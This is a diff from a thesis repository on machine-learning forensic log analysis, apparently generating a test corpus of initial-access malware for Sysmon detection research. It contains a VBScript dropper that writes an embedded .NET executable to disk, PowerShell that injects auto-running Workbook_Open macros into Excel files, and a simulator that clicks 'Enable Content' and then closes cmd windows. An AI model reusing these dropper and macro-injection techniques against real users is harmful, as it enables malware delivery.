WriteBytes objFile, "0 3 50 0 0 5 92 0 123 0 0 3 123 0 0 5 123 0 123 0 0 5 125 0 125 0 0 3 125 0 0 7 123"
|
||||
WriteBytes objFile, "0 48 0 125 0 0 27 40 0 63 0 39 0 103 0 114 0 111 0 117 0 112 0 48 0 39 0 46 0 42 0"
|
||||
WriteBytes objFile, "41 0 1 7 123 0 49 0 125 0 0 27 40 0 63 0 39 0 103 0 114 0 111 0 117 0 112 0 49 0 39"
|
||||
WriteBytes objFile, "0 46 0 42 0 41 0 1 7 123 0 50 0 125 0 0 27 40 0 63 0 39 0 103 0 114 0 111 0 117 0"
|
||||
WriteBytes objFile, "112 0 50 0 39 0 46 0 42 0 41 0 1 7 123 0 51 0 125 0 0 27 40 0 63 0 39 0 103 0 114"
|
||||
WriteBytes objFile, "0 111 0 117 0 112 0 51 0 39 0 46 0 42 0 41 0 1 7 123 0 52 0 125 0 0 27 40 0 63 0 39"
|
||||
WriteBytes objFile, "0 103 0 114 0 111 0 117 0 112 0 52 0 39 0 46 0 42 0 41 0 1 7 123 0 53 0 125 0 0 27"
|
||||
WriteBytes objFile, "40 0 63 0 39 0 103 0 114 0 111 0 117 0 112 0 53 0 39 0 46 0 42 0 41 0 1 13 103 0 114"
|
||||
WriteBytes objFile, "0 111 0 117 0 112 0 48 0 0 13 103 0 114 0 111 0 117 0 112 0 49 0 0 13 103 0 114 0"
|
||||
WriteBytes objFile, "111 0 117 0 112 0 50 0 0 13 103 0 114 0 111 0 117 0 112 0 51 0 0 13 103 0 114 0 111"
|
||||
WriteBytes objFile, "0 117 0 112 0 52 0 0 13 103 0 114 0 111 0 117 0 112 0 53 0 0 217 166 66 42 72 81 217"
|
||||
WriteBytes objFile, "65 141 71 127 130 254 247 139 229 0 4 32 1 1 8 3 32 0 1 5 32 1 1 17 17 87 7 44 18"
|
||||
WriteBytes objFile, "20 21 18 29 1 14 21 18 29 1 14 21 18 29 1 14 21 18 29 1 14 14 14 18 33 14 14 29 5"
|
||||
WriteBytes objFile, "14 18 37 18 41 18 45 29 5 29 5 29 5 14 14 18 12 14 14 14 14 29 5 29 5 29 5 18 37 29"
|
||||
WriteBytes objFile, "5 29 5 14 29 5 29 5 29 5 14 17 49 21 17 53 1 14 14 8 8 8 8 18 57 6 32 1 29 14 29 3"
|
||||
WriteBytes objFile, "15 16 1 1 21 18 29 1 30 0 21 18 117 1 30 0 3 10 1 14 6 21 18 101 2 14 14 5 32 2 1"
|
||||
WriteBytes objFile, "28 24 23 16 2 2 21 18 117 1 30 1 21 18 117 1 30 0 21 18 101 2 30 0 30 1 4 10 2 14"
|
||||
WriteBytes objFile, "14 3 0 0 14 5 32 2 14 14 14 4 0 1 2 14 4 0 0 17 49 3 32 0 14 5 32 2 14 8 8 5 0 1 29"
|
||||
WriteBytes objFile, "5 14 4 0 0 18 37 6 32 1 1 17 128 137 6 32 1 1 17 128 141 5 32 1 1 29 5 7 32 2 1 8"
|
||||
WriteBytes objFile, "18 128 145 5 0 0 18 128 149 4 32 1 14 2 5 32 1 29 5 14 5 32 0 18 128 157 8 32 3 29"
|
||||
WriteBytes objFile, "5 29 5 8 8 6 32 1 29 5 29 5 5 0 2 14 14 14 4 32 0 29 5 5 0 1 14 29 5 6 0 2 14 14 29"
|
||||
WriteBytes objFile, "28 6 0 1 1 17 128 169 6 0 1 1 18 128 173 4 32 1 1 2 5 0 0 18 128 177 6 32 1 1 18 128"
|
||||
WriteBytes objFile, "177 5 32 0 18 128 177 5 0 0 18 128 185 6 32 1 1 18 128 189 5 21 18 29 1 14 8 32 0"
|
||||
WriteBytes objFile, "21 17 53 1 19 0 5 21 17 53 1 14 4 32 0 19 0 5 32 1 19 0 8 5 0 2 2 14 14 4 32 1 1 14"
|
||||
WriteBytes objFile, "5 32 0 18 128 193 5 32 2 1 14 14 3 32 0 8 4 32 1 8 8 4 32 1 14 14 3 32 0 2 5 0 2 14"
|
||||
WriteBytes objFile, "14 28 5 32 1 14 29 5 7 32 2 29 5 29 5 2 5 0 0 18 128 209 12 0 5 1 18 128 217 8 18"
|
||||
WriteBytes objFile, "128 217 8 8 7 0 1 18 128 221 29 5 6 32 0 29 18 128 225 6 32 0 29 18 128 229 6 32 2"
|
||||
WriteBytes objFile, "28 28 29 28 5 0 0 18 128 241 6 0 3 14 14 14 14 9 7 2 18 61 21 18 29 1 14 4 0 1 14"
|
||||
WriteBytes objFile, "14 4 32 1 2 14 5 32 1 18 61 14 5 32 0 18 128 249 6 32 1 18 128 253 14 5 32 1 1 19"
|
||||
WriteBytes objFile, "0 6 32 2 1 18 77 14 4 7 1 18 85 6 32 1 18 81 18 77 5 32 1 1 18 73 3 7 1 2 8 183 122"
|
||||
WriteBytes objFile, "92 86 25 52 224 137 3 6 18 73 2 6 2 2 6 14 3 6 18 24 7 6 21 18 101 2 14 14 5 0 1 1"
|
||||
WriteBytes objFile, "29 14 3 0 0 1 9 0 2 21 18 29 1 14 14 14 4 32 0 18 73 10 32 4 2 28 18 89 18 93 17 97"
|
||||
WriteBytes objFile, "4 40 0 18 73 8 1 0 8 0 0 0 0 0 30 1 0 1 0 84 2 22 87 114 97 112 78 111 110 69 120"
|
||||
WriteBytes objFile, "99 101 112 116 105 111 110 84 104 114 111 119 115 1 8 1 0 2 0 0 0 0 0 4 1 0 0 0 0"
|
||||
WriteBytes objFile, "0 248 71 0 0 0 0 0 0 0 0 0 0 18 72 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 4 72 0 0 0 0 0 0 0 0 0 0 0 0 95 67 111 114 69 120 101 77 97 105 110 0 109 115"
|
||||
WriteBytes objFile, "99 111 114 101 101 46 100 108 108 0 0 0 0 0 255 37 0 32 64 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 64 0 0 12 0 0 0 36 56 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0"
|
||||
End Sub
|
||||
|
||||
Sub DumpFile(strFilename)
|
||||
Dim objFSO
|
||||
Dim objFile
|
||||
|
||||
Set objFSO = CreateObject("Scripting.FileSystemObject")
|
||||
Set objFile = objFSO.OpenTextFile(strFilename, 2, true)
|
||||
DumpFile1 objFile
|
||||
DumpFile2 objFile
|
||||
DumpFile3 objFile
|
||||
DumpFile4 objFile
|
||||
objFile.Close
|
||||
End Sub
|
||||
Binary file not shown.
@ -0,0 +1 @@
|
||||
|
||||
BIN
3-2-test-corpus-initial-access-mw-and-3-3-simulator/Simulator/enable_content.png
Executable file
BIN
3-2-test-corpus-initial-access-mw-and-3-3-simulator/Simulator/enable_content.png
Executable file
Binary file not shown.
|
After Width: | Height: | Size: 891 B |
@ -0,0 +1,4 @@
|
||||
pywin32==306
|
||||
PyAutoGUI==0.9.54
|
||||
opencv-python==4.8.0.84
|
||||
Pillow==9.5.0
|
||||
80
3-2-test-corpus-initial-access-mw-and-3-3-simulator/Simulator/simulator.py
Executable file
80
3-2-test-corpus-initial-access-mw-and-3-3-simulator/Simulator/simulator.py
Executable file
@ -0,0 +1,80 @@
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
import pyautogui
|
||||
import win32gui
|
||||
import win32con
|
||||
|
||||
def close_cmd_window():
|
||||
def enum_windows_callback(hwnd, result):
|
||||
window_title = win32gui.GetWindowText(hwnd).lower()
|
||||
if (win32gui.IsWindowVisible(hwnd) and
|
||||
'cmd.exe' in window_title and
|
||||
'Anaconda' not in window_title):
|
||||
win32gui.PostMessage(hwnd, win32con.WM_CLOSE, 0, 0)
|
||||
|
||||
win32gui.EnumWindows(enum_windows_callback, None)
|
||||
|
||||
def close_excel_without_saving():
|
||||
pyautogui.hotkey('alt', 'f4')
|
||||
time.sleep(1)
|
||||
|
||||
# Try to locate and click the "Don't Save" button
|
||||
try:
|
||||
dont_save_button = pyautogui.locateOnScreen('dont_save_button.png', confidence=0.8)
|
||||
if dont_save_button:
|
||||
pyautogui.click(dont_save_button)
|
||||
print("Clicked 'Don't Save' button")
|
||||
else:
|
||||
print("Save dialogue not found, Excel may have closed without prompting")
|
||||
except pyautogui.ImageNotFoundException:
|
||||
print("Save dialogue not found, Excel may have closed without prompting")
|
||||
|
||||
def open_excel_with_macros(file_path):
|
||||
# Get the directory of the current script/executable
|
||||
base_path = getattr(sys, '_MEIPASS', os.path.dirname(os.path.abspath(__file__)))
|
||||
enable_button_image = os.path.join(base_path, 'enable_content.png')
|
||||
|
||||
# Open Excel through the OS start menu or command line
|
||||
os.startfile(file_path)
|
||||
time.sleep(5) # Wait for Excel to open
|
||||
|
||||
# Custom timeout mechanism to locate the 'Enable Content' button
|
||||
timeout = 10 # 10 seconds timeout
|
||||
start_time = time.time()
|
||||
enable_button = None
|
||||
|
||||
while (time.time() - start_time) < timeout:
|
||||
try:
|
||||
enable_button = pyautogui.locateCenterOnScreen(enable_button_image, confidence=0.8)
|
||||
if enable_button:
|
||||
pyautogui.click(enable_button)
|
||||
break
|
||||
except pyautogui.ImageNotFoundException:
|
||||
pass
|
||||
time.sleep(1) # Check every 1 second
|
||||
|
||||
if not enable_button:
|
||||
print("Enable Content button not found, continuing...")
|
||||
|
||||
# Wait for any macros to finish running or other processing
|
||||
time.sleep(10) # Adjust time based on expected macro execution time
|
||||
|
||||
# Close Excel without saving
|
||||
close_excel_without_saving()
|
||||
|
||||
# Close any cmd.exe windows that might have opened, except Anaconda prompt
|
||||
close_cmd_window()
|
||||
|
||||
def main():
|
||||
directory = r'C:\Users\student\Desktop\Corpus' # Adjust the path to your files
|
||||
files = os.listdir(directory)
|
||||
excel_files = [file for file in files if file.endswith(('.xlsx', '.xlsm'))]
|
||||
|
||||
for file in excel_files:
|
||||
full_path = os.path.join(directory, file)
|
||||
open_excel_with_macros(full_path)
|
||||
time.sleep(5) # Adjust as needed between openings
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@ -0,0 +1,126 @@
|
||||
param (
|
||||
[int]$c = 1, # Number of workbooks to generate
|
||||
[string]$apiKey = "", # API key for OpenAI
|
||||
[string]$logFile = "agent_log.txt" # Log file path
|
||||
)
|
||||
|
||||
function Write-AgentLog {
|
||||
param ([string]$message)
|
||||
$logMessage = "$(Get-Date) - $message"
|
||||
Add-Content -Path $logFile -Value $logMessage
|
||||
Write-Host $logMessage
|
||||
}
|
||||
|
||||
function Get-RandomVBACode {
|
||||
param ([string]$apiKey)
|
||||
|
||||
$prompt = @"
|
||||
Generate a VBA macro named 'Sub GreetUser()' that does the following:
|
||||
1. Creates sample data in the active worksheet (e.g., a table with headers and some rows of data)
|
||||
2. Performs an operation on this data (e.g., creating a pivot table, chart, or applying formatting)
|
||||
3. Includes error handling
|
||||
4. Is well-commented
|
||||
5. Does not rely on any existing data in the spreadsheet
|
||||
|
||||
Provide ONLY the VBA code, without any explanations or markdown code block markers.
|
||||
"@
|
||||
|
||||
$body = @{
|
||||
model = "gpt-4"
|
||||
messages = @(
|
||||
@{role = "system"; content = "You are an expert VBA developer. Provide only the requested VBA code without any explanations or markdown."}
|
||||
@{role = "user"; content = $prompt}
|
||||
)
|
||||
max_tokens = 1000
|
||||
temperature = 0.7
|
||||
} | ConvertTo-Json
|
||||
|
||||
try {
|
||||
$response = Invoke-RestMethod -Uri "https://api.openai.com/v1/chat/completions" -Method Post -Headers @{
|
||||
"Authorization" = "Bearer $apiKey"
|
||||
"Content-Type" = "application/json"
|
||||
} -Body $body
|
||||
|
||||
$code = $response.choices[0].message.content.Trim()
|
||||
|
||||
# Remove any text before Sub GreetUser() and after End Sub
|
||||
$code = $code -replace "(?s).*?(Sub\s+GreetUser\s*\(\s*\))", '$1'
|
||||
$code = $code -replace "(?s)(End Sub).*", '$1'
|
||||
|
||||
# Remove any ``` or ```vba markers
|
||||
$code = $code -replace '```vba?', ''
|
||||
|
||||
# Ensure the code starts with Sub GreetUser() and ends with End Sub
|
||||
if (-not ($code -cmatch "^Sub\s+GreetUser\s*\(\s*\)")) {
|
||||
$code = "Sub GreetUser()`n" + $code
|
||||
}
|
||||
if (-not ($code -cmatch "End Sub\s*$")) {
|
||||
$code += "`nEnd Sub"
|
||||
}
|
||||
|
||||
return $code.Trim() + "`n"
|
||||
}
|
||||
catch {
|
||||
Write-AgentLog "Error in Get-RandomVBACode: $_"
|
||||
return $null
|
||||
}
|
||||
}
|
||||
|
||||
Write-AgentLog "Script started"
|
||||
|
||||
try {
|
||||
Write-AgentLog "Creating Excel COM object"
|
||||
$excel = New-Object -ComObject Excel.Application
|
||||
$excel.Visible = $false
|
||||
$excel.DisplayAlerts = $false
|
||||
Write-AgentLog "Excel COM object created successfully"
|
||||
|
||||
$templatePath = "$(Get-Location)\template.xlsx"
|
||||
Write-AgentLog "Using template: $templatePath"
|
||||
|
||||
for ($i = 1; $i -le $c; $i++) {
|
||||
Write-AgentLog "Processing workbook $i of $c"
|
||||
|
||||
try {
|
||||
$workbook = $excel.Workbooks.Open($templatePath)
|
||||
Write-AgentLog "Template opened successfully"
|
||||
|
||||
$randomVBACode = Get-RandomVBACode -apiKey $apiKey
|
||||
if ($null -eq $randomVBACode) {
|
||||
Write-AgentLog "Failed to generate VBA code. Skipping workbook $i"
|
||||
continue
|
||||
}
|
||||
|
||||
Write-AgentLog "VBA code generated successfully"
|
||||
|
||||
$module = $workbook.VBProject.VBComponents.Add(1)
|
||||
$module.CodeModule.AddFromString($randomVBACode)
|
||||
Write-AgentLog "VBA code added to workbook"
|
||||
|
||||
$newWorkbookPath = "$(Get-Location)\agentic_workbook_$($i.ToString('D2')).xlsm"
|
||||
$workbook.SaveAs($newWorkbookPath, 52)
|
||||
Write-AgentLog "Workbook saved: $newWorkbookPath"
|
||||
|
||||
$workbook.Close($false)
|
||||
Write-AgentLog "Workbook closed"
|
||||
}
|
||||
catch {
|
||||
Write-AgentLog "Error processing workbook $i`: $_"
|
||||
}
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-AgentLog "Critical error: $_"
|
||||
}
|
||||
finally {
|
||||
if ($excel) {
|
||||
$excel.Quit()
|
||||
Write-AgentLog "Excel application closed"
|
||||
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($excel) | Out-Null
|
||||
Write-AgentLog "Excel COM object released"
|
||||
}
|
||||
[System.GC]::Collect()
|
||||
[System.GC]::WaitForPendingFinalizers()
|
||||
Write-AgentLog "Script completed"
|
||||
}
|
||||
#
|
||||
@ -0,0 +1,65 @@
|
||||
# Create a new COM object for Excel
|
||||
$excel = New-Object -ComObject Excel.Application
|
||||
$excel.Visible = $false # Ensure Excel does not show its window
|
||||
$excel.DisplayAlerts = $false # Disable display alerts to prevent pop-up interruptions
|
||||
$excel.Interactive = $false # Run Excel in non-interactive mode
|
||||
|
||||
# Define the full path to the workbook
|
||||
$workbookPath = "$(Get-Location)\template.xlsx"
|
||||
Write-Host "Attempting to open workbook at path: $workbookPath"
|
||||
|
||||
# Try to open an existing workbook
|
||||
try {
|
||||
$workbook = $excel.Workbooks.Open($workbookPath)
|
||||
} catch {
|
||||
Write-Host "Failed to open the workbook. Check the file path and name. Error: $_.Exception.Message"
|
||||
$excel.Quit()
|
||||
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($excel) | Out-Null
|
||||
[System.GC]::Collect()
|
||||
[System.GC]::WaitForPendingFinalizers()
|
||||
return
|
||||
}
|
||||
|
||||
# Assuming access to the VBA project is already allowed in Excel settings
|
||||
try {
|
||||
$excel.VBE.CommandBars.FindControl(1, 2578).Execute()
|
||||
} catch {
|
||||
Write-Host "Could not adjust VBA project settings. Check Excel's trust center settings. Error: $_.Exception.Message"
|
||||
}
|
||||
|
||||
# Add a new VBA module
|
||||
$module = $workbook.VBProject.VBComponents.Add(1) # 1 is vbext_ct_StdModule
|
||||
|
||||
# Import VBA code from a file
|
||||
$macroCode = Get-Content "$(Get-Location)\macro.vbs" -Raw
|
||||
$module.CodeModule.AddFromString($macroCode)
|
||||
|
||||
# Add the Workbook_Open event to ThisWorkbook to call GreetUser
|
||||
# German Excel changes the name.
|
||||
# English: replace DieseArbeitsmappe with ThisWorksheet
|
||||
$thisWorkbook = $workbook.VBProject.VBComponents.Item("DieseArbeitsmappe")
|
||||
$openEventCode = @"
|
||||
Private Sub Workbook_Open()
|
||||
Call GreetUser
|
||||
End Sub
|
||||
"@
|
||||
$thisWorkbook.CodeModule.AddFromString($openEventCode)
|
||||
|
||||
# Save the workbook as a macro-enabled workbook
|
||||
$macroEnabledPath = "$(Get-Location)\new_workbook_3.xlsm"
|
||||
$workbook.SaveAs($macroEnabledPath, 52) # 52 stands for xlOpenXMLWorkbookMacroEnabled
|
||||
|
||||
# Clean up: close workbook and quit Excel
|
||||
$workbook.Close($true)
|
||||
$excel.Quit()
|
||||
|
||||
# Reset Excel properties for cleanup
|
||||
$excel.DisplayAlerts = $true
|
||||
$excel.Interactive = $true
|
||||
|
||||
# Release COM objects
|
||||
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($module) | Out-Null
|
||||
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($workbook) | Out-Null
|
||||
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($excel) | Out-Null
|
||||
[System.GC]::Collect()
|
||||
[System.GC]::WaitForPendingFinalizers()
|
||||
@ -0,0 +1,3 @@
|
||||
Sub GreetUser()
|
||||
MsgBox "Hello from PowerShell!", vbInformation, "Greeting"
|
||||
End Sub
|
||||
Binary file not shown.
Binary file not shown.
BIN
3-2-test-corpus-initial-access-mw-and-3-3-simulator/file.exe
Normal file
BIN
3-2-test-corpus-initial-access-mw-and-3-3-simulator/file.exe
Normal file
Binary file not shown.
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
1294
9-appendix-misc/Prototype_Beta_GCN_BERT_Embedding_Sysmon.ipynb
Normal file
1294
9-appendix-misc/Prototype_Beta_GCN_BERT_Embedding_Sysmon.ipynb
Normal file
File diff suppressed because one or more lines are too long
253
9-appendix-misc/Protoype_Alpha_BERT_Embedding_Sysmon.ipynb
Normal file
253
9-appendix-misc/Protoype_Alpha_BERT_Embedding_Sysmon.ipynb
Normal file
File diff suppressed because one or more lines are too long
5
README.md
Normal file
5
README.md
Normal file
@ -0,0 +1,5 @@
|
||||
[](https://zenodo.org/doi/10.5281/zenodo.13208293)
|
||||
|
||||
|
||||
# Master Thesis: Development and Evaluation of Software for Forensic Log-Analysis Using Machine Learning and Genetic Programming
|
||||
|
||||
15
dependencies/install.sh
vendored
Normal file
15
dependencies/install.sh
vendored
Normal file
@ -0,0 +1,15 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
if [ -d "/content" ]; then
|
||||
echo "This appears to be a Google Colab environment."
|
||||
|
||||
echo "Installing dependencies"
|
||||
pip install -r "https://raw.githubusercontent.com/norandom/log2ml/main/dependencies/requirements.gpu.txt"
|
||||
|
||||
# https://docs.rapids.ai/deployment/stable/platforms/colab/
|
||||
git clone https://github.com/rapidsai/rapidsai-csp-utils.git
|
||||
python rapidsai-csp-utils/colab/pip-install.py
|
||||
|
||||
else
|
||||
echo "This does not appear to be a Google Colab environment."
|
||||
fi
|
||||
13
dependencies/install_cpu.sh
vendored
Normal file
13
dependencies/install_cpu.sh
vendored
Normal file
@ -0,0 +1,13 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
if [[ "$(uname)" == "Darwin" ]] || [[ "$(uname)" == "Linux" ]]; then
|
||||
echo "The CPU installation is starting (macOS, Linux)."
|
||||
|
||||
echo "Installing dependencies"
|
||||
pip install -r "https://raw.githubusercontent.com/norandom/log2ml/main/dependencies/requirements.cgpu.txt"
|
||||
|
||||
echo "cuML will not be installed."
|
||||
|
||||
else
|
||||
echo "This does not appear to be a CPU environment."
|
||||
fi
|
||||
29
dependencies/requirements.cpu.txt
vendored
Normal file
29
dependencies/requirements.cpu.txt
vendored
Normal file
@ -0,0 +1,29 @@
|
||||
openai==1.13.3
|
||||
langchain==0.1.10
|
||||
python-dotenv==1.0.1
|
||||
tiktoken==0.6.0
|
||||
langchain_openai==0.0.8
|
||||
langchain_experimental==0.0.53
|
||||
langchainhub==0.1.14
|
||||
ipywidgets
|
||||
transformers==4.39.0
|
||||
torch==2.2.1+cpu
|
||||
torchvision==0.17.1+cpu
|
||||
torchaudio==2.2.1+cpu
|
||||
sentence-transformers==2.5.1
|
||||
faiss_cpu==1.8.0
|
||||
linformer-pytorch==0.19.3
|
||||
PyGithub==2.3.0
|
||||
deap==1.4.1
|
||||
update_checker==0.18.0
|
||||
scikit-mdr==0.4.5
|
||||
skrebate==0.62
|
||||
xgboost==2.0.3
|
||||
stopit==1.1.2
|
||||
tpot==0.12.2
|
||||
umap-learn==0.5.6
|
||||
tabulate==0.9.0
|
||||
onnx==1.16.1
|
||||
skl2onnx==1.17.0
|
||||
protobuf==3.20.3
|
||||
dill==0.3.8
|
||||
29
dependencies/requirements.gpu.txt
vendored
Normal file
29
dependencies/requirements.gpu.txt
vendored
Normal file
@ -0,0 +1,29 @@
|
||||
openai==1.13.3
|
||||
langchain==0.1.10
|
||||
python-dotenv==1.0.1
|
||||
tiktoken==0.6.0
|
||||
langchain_openai==0.0.8
|
||||
langchain_experimental==0.0.53
|
||||
langchainhub==0.1.14
|
||||
ipywidgets
|
||||
transformers==4.39.0
|
||||
torch
|
||||
torchvision
|
||||
torchaudio
|
||||
sentence-transformers==2.5.1
|
||||
faiss_cpu==1.8.0
|
||||
linformer-pytorch==0.19.3
|
||||
PyGithub==2.3.0
|
||||
deap==1.4.1
|
||||
update_checker==0.18.0
|
||||
scikit-mdr==0.4.5
|
||||
skrebate==0.62
|
||||
xgboost==2.0.3
|
||||
stopit==1.1.2
|
||||
tpot==0.12.2
|
||||
umap-learn==0.5.6
|
||||
tabulate==0.9.0
|
||||
onnx==1.16.1
|
||||
skl2onnx==1.17.0
|
||||
protobuf==3.20.3
|
||||
dill==0.3.8
|
||||
File diff suppressed because one or more lines are too long
Loading…
Reference in New Issue
Block a user